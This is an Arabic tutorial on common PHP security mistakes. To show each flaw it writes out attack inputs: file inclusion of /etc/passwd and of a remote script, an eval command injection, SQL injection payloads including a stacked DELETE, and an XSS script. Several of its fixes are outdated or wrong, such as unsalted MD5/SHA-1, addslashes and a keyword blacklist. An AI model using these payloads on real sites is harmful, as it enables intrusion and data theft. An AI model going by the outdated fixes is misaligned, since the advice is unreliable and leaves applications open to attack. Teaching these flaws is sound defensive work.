قائمة النت > لغة ال PHP

أخطاء المبرمجين الأمنية فى PHP

الكاتب: هاني جمال


أهمية هذا المقال لمبرمجى اللغة هو التعرف على الأخطاء الأمنية العامة التى من الممكن أن تخلق ثغرات فى برامجهم و مع أن معظم المبادىء التى سوف أذكرها لحقاً تعتبر من البديهيات و لكن عدد لا بأس به من المبرمجين لا ينتبهون إلى مثل هذه الأخطاء ، و للأسف نحن جميعاً نفتقد التدريب الجيد على مفردات برامج صنعناها سابقاً بمعنى أنه من الثابت علمياً أن تنقيح و تطوير برمجيات كتبتها من قبل هو بمثابة تدريب جيد جداً لك لتلافى أخطائك السابقة و ايضاً لجعل شفرتك تحقق غاية البرنامج من طريق أسهل او أقصر ، ما علينا فلنبدأ.

1- لا تضمن فى برنامجك أبداً ملف مدخل من قبل مستخدم إلا بعد التأكد من إسم الملف (هناك عدة طرق للتأكد بالجافاسكربت ، أو بالبى اتش بى) ، أى لا تستخدم أبداً include , require , أو أى من دوال التضمين لملفات مدخلة حتى اسمائها من قبل مستخدمين قبل التأكد من صحة المدخلات.



مثال
if(isset($page))
{
include($page);
}


بما أنه لم يتم التأكد من إسم الملف $page و بناءً على أن register_globals فى وضع التشغيل مما يعنى أنه بإمكان المستخدم إدخال script.php?page=/etc/passwd
و بناءً على أنه عند تضمين أى إمتداد آخر غير بى اتش بى فإن مترجم اللغة يعرضه فى الصفحة كما هو إذا كان نص مثلاً ، تخيل أن شخصاً استطاع عرض /etc/passwd!!!!!

تأكد أيضاً من إعداد البى اتش بى الخاص بك حيث أن معظم الإعدادات يكون من المسموح فيها بتضمين ملفات من خوادم أخرى.



مثال
script.php?page=http://mysite.com/mal_script.php


بإمكان هذا المستخدم تنفيذ أى شفرة على موقعك مثل التعامل مع SSI أو قواعد بياناتك و الحل هو التحقق من صحة مدخلات المستخدم بوضع قاعدة تحقق عملية تخدم غرض برنامجك.



مثال
$pages = array('index.html', 'page2.html', 'page3.html');
if( in_array($page, $pages) )
{
include($page);
{
else
{
die("Foot Bokra");
}


2- تمرير القيم المدخلة من قبل المستخدم لى الدالة eval لأنك بكل بساطة تعطى المستخدم الحق فى تنفيذ أى أوامر مثل:



script.php?input=;passthru("cat /etc/paswd");


و سوف يتسبب تنفيذ هذا الأمر إخراج ملف /etc/passwd.
إن إستخدام eval صحيح تماماً للتحقق من صحة مدخلات و لكن لابد من إستخدامها عند الضرورة ، لو أنك تستخدم فى برنامجك (Templates) مثلاً أو تستخدم الدالة لإستبدال المدخلات من قبل المستخدم ، إستخدم دالة sprintf بدلاً منها.



3- تأكد من الخروج من إستعلامات قواعد البيانات SQL Statement بمعنى أن اللغة نفسها تحتوى على خاصية الخروج من جمل SQL بإضافة شرطة مائلة \ قبل حروف معينة أدخلت بواسطة GET , POST , COOKIE و إحدى الأمثلة على هذه الحروف هو العلامة (') و لو أن المدخلات فى جملة الإستعلام تحتوى هذه العلامة فإن مترجم اللغة سوف يضيف تلقائياً شرطة مائلة \ لكى لا يتم معاملة الحرف (') كجزء من الإستعلام ، مثلاً إذا أدخل المستخدم $name فى النموذج form و جملة الإستعلام كالآتى:



UPDATE users SET Name='$name' WHERE ID=1;


إذا كان المتغير يحتوى على الحرف (') فسوف يضاف الشرطة المائلة \ قبل الحرف و بالتالى لن يؤثر الحرف (') على جملة الإستعلام ، لنتخيل أن المستخدم أدخل المعطيات التالية:



$name',Admin='1


الآن إستطاع المستخدم إدخال متغير آخر فى جملة الإستعلام و بالتالى حصل على المعلومات المطلوبة ، بإمكانك إستخدام الدوال التالية



addslashes() أو mysql_escape_string()


عند إستخدام متغيرات ممررة من خلال جملة الإستعلام و سوف يقوم بإدخالها المستخدم ، أيضاً الدالة magic_quotes_gpc فهى تضيف الشرطة المائلة تلقائياً و لكنها قد لا تكون فى وضع التشغيل و تستطيع إستخدام الدالة get_magic_quotes_gpc() لمعرفة إذا كانت فى وضع التشغيل أم لا و الأسهل هو إستخدام addslashes() من خلال حلقة تكرارية لإضافة الشرطة المائلة \ لكل المدخلات الممررة من قبل المستخدم.

4- عند تخزين كلمات المرور فى قاعدة البيانات تأكد من تشفيرها قبل التخزين فى قاعدة البيانات ، لأن قواعد البيانات غالباً ما تتبع حزمة الإستضافة الخاصة بك و غالباً أيضاً ما تكون الإستضافة تشاركية Shared Hosting إذن نستخلص أنك قد لا تعلم بعض الأشخاص المخولين بالدخول لقواعد البيانات ، بإستطاعتك تشفير كلمات المرور بإستخدام تقنيات عدة مثل 3DES أو AES5 و تستطيع فك التشفير لفترة بسيطة للتأكد من أن المستخدم قد أدخل كلمة المرور الصحيحة و الميزة الأساسية فى هذه الطرق هو أنها تعتمد فى التشفير و فك التشفير على مفتاح key يعرفه مدير الموقع ، و لكن هذه الطرق المذكورة بطيئة جداً و تعتمد على لوغاريتمات معقدة و الحل الأمثل لهذه المشكلة هو إستخدام إحدى دوال التشفير الرقمية Session hash functions مثل دالة SHA-1 أو md5.

5- تابع أخطاء جمل إستعلام SQL
لنفترض أن جملة الإستعلام التى تستخدمها فى برنامجك للتأكد من إسم المستخدم و كلمة المرور كالآتى:



$stmnt = SELECT login_id FROM users WHERE user = '" .
$_POST["username"] . "' AND password = '" . $_POST["password"];




لنفترض أيضاً أن المستخدم أدخل (#) بدلاً من كلمة المرور أى أن جملة الإستعلام أصبحت كالتالى:



SELECT login_id FROM users WHERE user = 'hani'; #' AND password = ''


بمعنى أنه إستطاع تحويل باقى جملة الإستعلام إلى تعليق بإستخدام الرمز (#) و من ثم أصبحت كلمة المرور خالية!!
إذن كل ما استخدمه المهاجم هو إسم مستخدم مسجل فى قاعدة البيانات و بالتالى إستخدم الرمز (#) لقصر جملة الإستعلام عند الرمز (#) الذى أصبح ما بعده (بقية جملة الإستعلام) عبارة عن تعليق و الحل ذكرناه مسبقاً بإستخدام addslashes().

6- إستكمالاً لما سبق عن أهمية تشفير كلمات المرور ، بى اتش بى تدعم تلقائياً دوال SHA-1 و أيضاً MD5 الذى تم تطويره فى التسعينيات و لكنه يدعم تشفير حتى 128-bit فقط ، مع العلم أن SHA-1 يدعم حتى 160-bit و سوف نستخدمه كمثال:



$insertSql .= "'" . sha1($_POST["password1"]) . ", ";


ربما تستغرب أننا لم نستخدم addslashes() كما أشرنا سابقاً و لكن لذلك سبب وجيه و هو أن SHA-1 تستخدم فقط الأرقام الستعشرية (Hexadecimal) أى (0 – 9 و A - F) بمعنى آخر الدالة لا تستخدم أى من الحروف الخطرة فى جمل الإستعلام مثل (').


بإمكانك التحقق من كلمتين المرور المشفرتين (المدخلة من قبل المستخدم ، و الموجودة مسبقاً فى قاعدة البيانات بإستخدام مثلاً:



$loginQuery .= " password = '". sha1($_POST["password"]) . "'";



إذا تم التأكد من كلمة المرور المدخلة بأنها مطابقة لتلك فى قاعدة البيانات فسوف نبدأ الجلسات إذن و أخطائها الأمنية.



7- الجلسات (Session)
أخطاء الجلسات الأمنية و التى تخلق ثغرات فى برنامجك تعتمد على ثلاثة طرق:
الطريقة الأولى هى الإعتراض أو التوقيف و يكون عن طريق إرسال معرف الجلسة كنص عادى عبر الشبكة و الحل لهذه الثغرة بإستخدام إتصال آمن بين المستخدم و الخادم SSL أو TLS على سبيل المثال ، و لا تنسى إستخدام الدالة session_set_cookie_params أو إعداد session.cookie_secure فى ملف ini ، و بهذه الطريقة عندما يطلب المستخدم صفحة معينة على الخادم فإن معرف الجلسة لن يرسل إلا إذا كان الإتصال مشفر بين الخادم و المستخدم.
الطريقة الثانية وهى التوقع فلو أن معرف الجلسة تم إختياره بشكل سىء (كأن يكون تعداداً تصاعدياً مثلاً) فإن المهاجم يستطيع تخمينه و بالتالى الحصول على معرف جلسة لا تخصه ، و الحل الأمثل هو ربط معرف الجلسة بشىء له علاقة بالمستخدم (جلب الـIP مثلاً) ثم إدخاله فى احدى دوال التشفير المذكورة سابقاً (SHA-1 أو MD5) و سوف يتم انتاج أرقام عشوائية بناءً على ذلك و لكن الخادم بإستطاعته مقارنتها و التأكد منها ما إذا كانت مملوكة للمستخدم أم لا.
الطريقة الثالثة و هى الإقتحام بالقوة أو بالأحرى البحث و تخمين طريقة عمل معرف الجلسة و من الممكن التخمين إذا كان المبرمج استخدم مثلاً أرقام ما بين 1 و 10.000 و الحل السابق يكفى لتفادى ذلك فقط تأكد من أن التشفير ليس أقل من 128-bit.

لنفرض أننا بدأنا جلسة ما بعد أن تأكدنا من كلمة مرور المستخدم session_start() لابد أن نعيد تصنيع معرف الجلسة خلال عملية الولوج و تعديل الـcookie عن طريق session_generate_id و بعد ذلك سوف نقوم بتخزين بعض البيانات التى حصلنا عليها من قاعدة البيانات فى الجلسة



$_SESSION["user"] = new User($userData->login_id, $userData->name, $userData->email, $userData->username);


لاحظ المستخدم يتكون من: معرف الدخول login_id ، الإسم name ، البريد email ، إسم المستخدم username.

فى السطرين التاليين سوف نقوم بتخزين عنوان المستخدم IP و الوقت الذى بدأت فيه الجلسة



$_SESSION["IP"] = $_SERVER["REMOTE_ADDR"];
$_SESSION["timestamp"] = time();


الآن تمت عملية تسجيل الدخول

حماية المحتوى و التحكم فى الوصول للبيانات:
للتحكم فى الوصول للبيانات بطريقة سهلة لابد من المراجعة على بيانات الدخول و من العوامل المؤثرة التى تخلق ثغرات أمنية هو كيف تتم المراجعة على البيانات و أين توضع بيانات المراجعة.
على سبيل المثال "includes/session.inc.php" يحتوى على وظائف المراجعة (تستطيع تضمينه مع الملفات التى تريد حمايتها( ، و أسهل الطرق للتأكد من أن المستخدم له حق دخول المنطقة المحمية و الوصول للبيانات هو التأكد من أن الجلسة تم إعدادها بشكل صحيح و أنها تحتوى بعض بيانات المستخدم خلال عملية تسجيل الدخول و أول الخطوات هو التأكد من أن المتغيرات محددة فى مصفوفة $_SESSION



if(!isset($_SESSION["user"])) {
die("Not logged in");
}


أيضاً التأكد من معرف الدخول إذا كانت قيمته رقمية



if(!is_numeric($_SESSION["user"]->loginID)) {
die("Not logged in");
}



الآن تأكدنا بشكل كبير من أن صاحب الجلسة قد مر بإجراءات تسجيل الدخول و بما أننا لا نعرف إذا كان المستخدم هو صاحب الجلسة الحقيقى فلابد أن نقارن عنوان الـIP بذلك المخزن لدينا إذا لم يكونا متطابقين فسوف نخرج المستخدم



if($_SESSION["IP"] != $_SERVER["REMOTE_ADDR"]) {
header("Location: user_logout.php");

}




لو أن الوقت المخزن لدينا ليس أكثر من 30 دقيقة (1800 ثانية) سوف نقوم بتصفير الوقت و إعطاءه 30 دقيقة أخرى للتصفح و إذا كان أكثر سوف نقوم بإخراجه



if((time() - $_SESSION["timestamp"]) > 1800) {
header("Location: user_logout.php?timeOut=1 ");
}
else {
$_SESSION["timestamp"] = time();
}



إن عملية إخراج المستخدم حاسمة جداً حيث أنه من المهم جداً قطع كل صلات البيانات المرتبطة بالجلسة أو بمعرف الجلسة عند إخراج المستخدم و السطر التالى لإخلاء المصفوفة وهذا يعنى أنه تم مسح البيانات السابقة حتى العنوان IP و التوقيت



$_SESSION = array();


بعد ذلك نخبر مترجم اللغة بإنهاء الجلسة



session_destroy();


أيضاً مهم جداً أن نمسح معرف الجلسة من الـcookie



unset($_COOKIE[session_name()]);


8- تابع أخطاء جمل إستعلام SQL

من أخطاء المبرمجين الأمنية الشائعة فى إستخدام جمل الإستعلام هو عدم التأكد من المتغيرات المدخلة إلى جملة الإستعلام مما قد يسبب وصولاً لبيانات غير مسموح الوصول لها و فى المثال التالى نستعرض إحدى الأخطاء الشائعة:



$id = $_GET["id"];
$result = mysql_query("SELECT * FROM `articles` where id=$id;");


و بما أنه لم يتم التأكد من المتغير $id فإذا قام المستخدم بناءً على ما سبق بإدخال الجملة التالية فى شريط العنوان بالمتصفح –



Page.php?id=0 UNION SELECT * FROM `admin_users`


أصبحت جملة الإستعلام كالآتى:



SELECT * FROM `articles` WHERE id=0
UNION SELECT * FROM `admin_users`;



مما سوف تكون نتيجته إظهار كل محتويات الجدول `admin_users` و هى بيانات من المفترض أنها غير متاحة ، و الحل بما أن المتغير $id هو رقم إذن ينبغى التأكد من أنه رقم (فقط) و هناك طريقتين أرجح إستخدام ثانيهما ، أما الأولى فهى التأكد بإستخدام دالة intval ليصبح:



$id = intval($_GET["id"]);


أما الطريقة الثانية و المفضلة فى رأيى:



$id = $_GET["id"];
If (!is_numeric($id)) {
………………….echo "foot bokra"
} else {
………………….continue
}


و كمثال آخر و لكن المتغير عبارة عن نص:



$name = $_GET["name"];
$result = mysql_query("SELECT * FROM `articles`
WHERE title=\"$name\";");


و بما أنه لم يتم التأكد من المتغير $name فإذا قام المستخدم بناءً على ما سبق بإدخال الجملة التالية فى شريط العنوان بالمتصفح -



Page.php?name= UNION SELECT * FROM `admin_users`
WHERE name="%


سوف تكون النتيجةإظهار كل محتويات الجدول `admin_users` و المفترض أنها غير متاحة و الحل بما أن المتغير $name هو متغير نصى إذن ينبغى التأكد أن المتغير المدخل $name يحتوى على نص (فقط) و هناك طريقتان للتحقق من أن المدخل نص (فقط) و إنهاء جملة الإستعلام ، أما الطريقة الأولى فهى:



$name = str_replace("\"", """, $_GET["name"]);


أما الطريقة الثانية فهى كالآتى:



$name = str_replace("\"", "\\\"", $_GET["name"]);


9- تابع أخطاء جمل إستعلام SQL

دائماً ما تستخدم المدخلات فى جملة الإستعلام كمعاملات إذا كان المستخدم ذو خبرة فسوف يستطيع إستخدام هذه المعاملات أيضاً كما ذكرنا سابقاً بضعة أمثلة بإستخدام GET سوف نستخدم POST فى هذا المثال:




$query = "SELECT id, name FROM `records` LIMIT "
. $_POST['NUM'];
$result = $db->select($query);


و عند إستخدام الشفرة التالية:



<form action="form.php" method="POST">
<input type="text" name="NUM"
value="5; DELETE FROM `records`">
<input type="submit">
</form>


تصبح جملة الإستعلام كالآتى:



SELECT id, name FROM `records` LIMIT 5;
DELETE FROM `records`


و لقد رأيت برامج كثيرة غير محمية على الإطلاق من مثل هذا النوع من الهجمات عن طريق معاملات جمل الإستعلام و إليك هذه الدالة البسيطة لتنقيح جمل الإستعلام و بالتالى تفادى بعض من تلك الهجمات:



function filter_sql($input) {
$reg = "(delete)|(update)|(union)|(insert)";
return(eregi_replace($reg, "", $input));
}



10- أخطاء البرمجة المتقاطعة Cross-Site Scripting XSS

من الأخطاء الشائعة إستخدام البرمجة المتقاطعة(XSS) و هى تقنية مستخدمة بكثرة لإضفاء مزيد من الديناميكة لمستخدم الموقع بالنسبة للتحكم فى واجهات التصميم و البيانات و كيفية عرضها ، و الحقيقة أن الأخطاء ليست مع PHP فقط و إنما مع أى لغة تستخدم هذه التقنية من خلالها و قد يكون مسار إستخدام وسوم HTML و Javascript هو الشائع من خلال النماذج FORMS مما يعكس أهمية أن تكون البيانات المدخلة منقحة تماماً سواء كانت المدخلات من المستخدم أو من موقع آخر أو حتى من قاعدة البيانات ، و كمثال:



$note = $_GET["note"];
If ($note) {
echo $note;
}



يستطيع المستخدم تنفيذ الشفرة التالية من خلال شريط العنوان فى المتصفح:



Page.php?note=<script>alert("pop up");</script>



هذا مثال بسيط على إمكانية إرجاع وسوم HTML و Javascript إلى المستعرض و سوف تؤثر بطبيعة الحال و اللغات المستخدمة على متصفح العميل و لكن... إذا تم تخزين $note و عرضها لاحقاً لمستخدمين آخرين فسوف تكون النتيجة سيئة للغاية و يستطيع المهاجم مثلاً إدخال شفرة Javascript لتحويل مستخدمى الصفحة إلى صفحة أخرى أو عمل عدد لا نهائى من الرسائل pop up (و للأمانة العلمية هناك أشياء لم و لن أذكرها حتى لا يستخدم هذا المقال فى أذى الناس) و الحل فى تخطى وسمى < > كما فى المثال التالى:



$escapeChars[0] = array('<', '>');
$escapeChars[1] = array("&lt;", "&gt;");
$note = str_replace($escapeChars[0],$escapeChars[1],$_GET["note"]);


و لإزالة الوسوم:



$escapeChars[0] = array('<', '>');
$note = str_replace($escapeChars[0], "", $_GET["note"]);


هناك حلاً أعم قليلاً مما سبق لمنع هذه النوعية من الهجوم و هو إستخدام دالة htmlentities() .



11- طرق تدفق البيانات

إن إعتماد أسلوبك الخاص لضخ البيانات هو من الأشياء التى تحقق لبرنامجك الدقة و المرونة و القدرة على الإتساع و المزيد من الديناميكية ، و المقصود من طرق التدفق أن تخطط لبرنامجك أسلوباً يسهل تعديله لاحقاً و مبدئياً لابد أن تضع مخطط شجرى لبرنامجك و إليك مثال على التخطيط.

- ملف index.php يوضع وحيداً فى الدليل الجذرى Root.
- ملفات التوصيف الخطرة مثل Config توضع فى دليل و ليكن إسمه على سبيل المثال /lib/.
- ملفات القوالب توضع فى مجلد يسمى على سبيل المثال /tpl/ و يتم حماية المجلد بإستخدام ملف .htaccess.
- ملفات الفئات Classes توضع فى مجلد إسمه مثلاً /classes/ و يتم حماية المجلد بإستخدام ملف .htaccess.
- ملفات الصور مثلاً فى مجلد /images/.
- إذا كنت تستخدم ملفات فلاش بتقنية ActionScript إستعمل لها مجلداً خاصاً و ليكن إسمه /flashscr/.

بعد أن قمنا بعمل المخطط الشجرى إتبع الخطوات التالية:

- ضع كل إستعلامات المستخدم فى ملف index.php بدون معاملات parameters مما يخلق لدينا حاجزاً ذو ذاكرة مؤقتة لتمرير البيانات إلى ملف الفئة الرئيسى الذى بدوره يعرض البيانات فى ملف القوالب.
- إجعل مدخلات النماذج FORMS بواسطة المستخدم تحول مخرجاتها إلى ملف الفئة لوظائف المستخدم على الهيئة التالية: ?class=account&action=login مما يجعل النموذج مجرد واجهة ربط و ملف الفئة لوظائف المستخدم هو ما يقوم بالإستعلام.
- إجعل البيانات العائدة من قاعدة البيانات بناءً على المدخلات من المستخدم تمر أولاً على ملف الفئة لتكوين عمليات الجلسات ثم إرسالها للعرض عن طريق ملف الفئة للقوالب و التعديل فى نفس الحاجز ذو الذاكرة المؤقتة لملف index.php.


index.php
|
|--- ملف الفئة الرئيسى
|
|--- إدارة المحتويات
|--- التسجيل
|--- الأخبار
|--- حساب المستخدم
|--- القوالب
|
|-----------|
|
|--- مكتبة الدوال
|--- فئة.الإدارة
|--- فئة.التسجيل
|--- فئة.الأخبار
|--- فئة.المستخدم
|
||--- فئة.القوالب
||
||--- نظام الملفات
|
|--- قاعدة البيانات


و للوهلة الأولى يبدو هذا الكلام عن طرق تدفق البيانات صعب و غير واضح و فى الحقيقة هو بسيط إذا وضعت فى إعتبارك المميزات التالية:

- تحويل أسرع للبيانات المدخلة (أياً كان نوعها) من قبل المستخدم مع تنقيح للبيانات عن طريق طبقة ملف الفئة الرئيسى.
- تحليل و رصد شامل للأخطاء عن طريق طبقة ملف الفئة الرئيسى.
- كل ملف من ملفات الفئات يحمل خوصه الذاتية لتنقيح جميع أنواع البيانات المدخلة و المخرجة مع حماية فى الطبقة العليا أى ملف الفئة الرئيسى.

أخيراً لا تعتقد أن ذلك هو الحل الأمثل فبإستطاعتك إيجاد طرق لتدفق البيانات أسهل و أكثر فعالية فقط بإعمال عقلك جيداً.